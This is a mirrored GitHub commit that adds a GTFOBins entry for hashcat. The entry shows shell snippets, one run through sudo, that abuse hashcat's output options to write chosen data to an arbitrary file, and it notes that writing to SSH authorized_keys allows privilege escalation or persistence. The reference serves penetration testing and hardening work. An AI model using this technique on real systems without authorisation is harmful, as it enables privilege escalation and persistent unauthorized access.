mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add Hashcat
This commit is contained in:
parent
1fe673ce5d
commit
a5227541fe
14
_gtfobins/hashcat.md
Normal file
14
_gtfobins/hashcat.md
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
---
|
||||||
|
description: It can append data to the end of existing files or create new files. Writing to SSH `authorized_keys` may be used to escalate or maintain privileged access.
|
||||||
|
functions:
|
||||||
|
file-write:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
echo -n "DATA" > wordlist && echo -n "DATA" | md5sum | awk '{print $1}' > hash
|
||||||
|
hashcat -m 0 -a 0 --quiet --potfile-disable -o "$LFILE" --outfile-format=2 --outfile-autohex-disable hash wordlist
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_write
|
||||||
|
echo -n "DATA" > wordlist && echo -n "DATA" | md5sum | awk '{print $1}' > hash
|
||||||
|
sudo hashcat -m 0 -a 0 --quiet --potfile-disable -o "$LFILE" --outfile-format=2 --outfile-autohex-disable hash wordlist
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user